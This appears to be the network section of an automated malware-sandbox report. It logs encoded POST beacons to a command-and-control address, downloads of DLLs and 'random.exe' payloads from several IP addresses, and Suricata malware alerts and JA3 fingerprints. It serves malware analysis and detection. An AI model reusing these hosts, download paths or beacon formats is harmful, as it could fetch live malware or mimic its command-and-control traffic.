Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 80.82.65.70 80.82.65.70

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49740 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49766 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49795 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49813 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49830 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49839 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49838 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49858 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49875 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49882 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49883 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49898 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49912 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49935 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49965 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49984 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49953 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49997 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50003 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50010 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50022 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50043 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50057 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50070 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50084 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50094 -> 104.21.64.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

Code function: 9_2_0057E0C0 recv,recv,recv,recv,

9_2_0057E0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
